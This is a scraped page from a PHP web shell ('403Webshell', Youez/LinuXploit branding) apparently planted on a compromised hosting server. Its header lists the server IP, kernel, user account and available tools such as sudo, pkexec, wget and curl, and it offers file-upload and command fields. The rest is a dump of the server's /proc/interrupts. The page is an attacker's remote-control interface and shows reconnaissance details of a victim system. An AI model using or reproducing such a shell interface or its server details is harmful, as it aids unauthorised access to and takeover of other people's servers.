403Webshell
Server IP : 208.109.34.209  /  Your IP : 216.73.217.134
Web Server : Apache
System : Linux 209.34.109.208.host.secureserver.net 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
User : oceanproject ( 1012)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:        232          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          0          0          9   IO-APIC   1-edge      i8042
  4:          7          0          0          0          0          0          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:          0          0          0          0          0          0         15          0   IO-APIC  12-edge      i8042
 16:          0          0          0          0          0          0          0          0   IO-APIC  16-fasteoi   i801_smbus
 22:       1052       2277       2029       4546       6202       5511       6710       4270   IO-APIC  22-fasteoi   uhci_hcd:usb1, virtio4
 24:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 25:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.1   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 26:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.2   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 27:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.3   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 28:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.4   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 29:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.5   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 30:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.6   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 31:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.7   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 32:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 33:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.1   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 34:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.2   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 35:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.3   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 36:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.4   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 37:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.5   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 38:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.6   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 39:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.7   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 40:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 41:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:07:00.0   0-edge      virtio5-config
 42:        180        264        261        739        921        658       1278       1003  PCI-MSIX-0000:07:00.0   1-edge      virtio5-input
 43:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   0-edge      virtio2-config
 44:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   1-edge      virtio2-control
 45:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   2-edge      virtio2-event
 46:     402696          0          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   3-edge      virtio2-request
 47:          0     513979          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   4-edge      virtio2-request
 48:          0          0     453718          0          0          0          0          0  PCI-MSIX-0000:04:00.0   5-edge      virtio2-request
 49:          0          0          0     483792          0          0          0          0  PCI-MSIX-0000:04:00.0   6-edge      virtio2-request
 50:          0          0          0          0     432282          0          0          0  PCI-MSIX-0000:04:00.0   7-edge      virtio2-request
 51:          0          0          0          0          0     443618          0          0  PCI-MSIX-0000:04:00.0   8-edge      virtio2-request
 52:          0          0          0          0          0          0     409563          0  PCI-MSIX-0000:04:00.0   9-edge      virtio2-request
 53:          0          0          0          0          0          0          0     423022  PCI-MSIX-0000:04:00.0  10-edge      virtio2-request
 54:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:03:00.0   0-edge      virtio1-config
 55:      12370      19842      12345      35689      38653      65048      47524      77312  PCI-MSIX-0000:03:00.0   1-edge      virtio1-input.0
 56:       8862      24405       9374      43088      35187      60057      40024      63311  PCI-MSIX-0000:03:00.0   2-edge      virtio1-output.0
 57:      10014      41101      17728      56476      48866      88620      47200     102694  PCI-MSIX-0000:03:00.0   3-edge      virtio1-input.1
 58:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:05:00.0   0-edge      virtio3-config
 59:          0          0          0          0          0         36          0          0  PCI-MSIX-0000:05:00.0   1-edge      virtio3-virtqueues
 60:      13973      35116      19647      63708      52052      77195      65338     129932  PCI-MSIX-0000:03:00.0   4-edge      virtio1-output.1
 61:      13755      33475      19170      50263      41460      51039      52787      83684  PCI-MSIX-0000:03:00.0   5-edge      virtio1-input.2
 62:      11158      31050      15851      63095      40753      69174      37955      85929  PCI-MSIX-0000:03:00.0   6-edge      virtio1-output.2
 63:      12390      42795      21770     128527      69637     108198      52093     163153  PCI-MSIX-0000:03:00.0   7-edge      virtio1-input.3
 64:      12111      51733      23968     155629      95736     167629      41741     165104  PCI-MSIX-0000:03:00.0   8-edge      virtio1-output.3
 65:       8511      40935      19764      74490     123897     110881      41002     125111  PCI-MSIX-0000:03:00.0   9-edge      virtio1-input.4
 66:       9399      46528      25922      94302     107721     117506      64002     157465  PCI-MSIX-0000:03:00.0  10-edge      virtio1-output.4
 67:      15868      40680      25978     121249      72348     200893      47601     185306  PCI-MSIX-0000:03:00.0  11-edge      virtio1-input.5
 68:      12091      67107      21131     154362     101502     201957      67424     238177  PCI-MSIX-0000:03:00.0  12-edge      virtio1-output.5
 69:       8410      32411      15108      57548      58381      74326      61783     120441  PCI-MSIX-0000:03:00.0  13-edge      virtio1-input.6
 70:      10559      44384      17210      63279      51003      83967      76987     127242  PCI-MSIX-0000:03:00.0  14-edge      virtio1-output.6
 71:       8470      51246      16749     125351      98208     206254      34397     296542  PCI-MSIX-0000:03:00.0  15-edge      virtio1-input.7
 72:      27619      63811      28788     169542      60185     341039      26992     327839  PCI-MSIX-0000:03:00.0  16-edge      virtio1-output.7
 73:       5021       9778       7866      21416      25158      32067      36444      29947  PCI-MSI-0000:00:1f.2   0-edge      ahci[0000:00:1f.2]
 74:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:01.0   0-edge      virtio0-config
 75:      82119     122600      70911     185426     227564     291790     322637     285863  PCI-MSIX-0000:00:01.0   1-edge      virtio0-control
 76:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:01.0   2-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:   30551558   51348524   94056017   47335143   38514160   36498910   30663072   29048743   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:         25         17         42          8         51         15          9         32   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:     156498     169434     111666     163616     154016     156490     151758     131013   Rescheduling interrupts
CAL:   12347823    5200763    3603539    3744324    3564139    3421450    3394640    3174240   Function call interrupts
TLB:      65120      58786      58297      58144      61036      61926      64949      60083   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:        993        993        993        993        993        993        993        993   Machine check polls
HYP:          1          1          1          1          1          1          1          1   Hypervisor callback interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit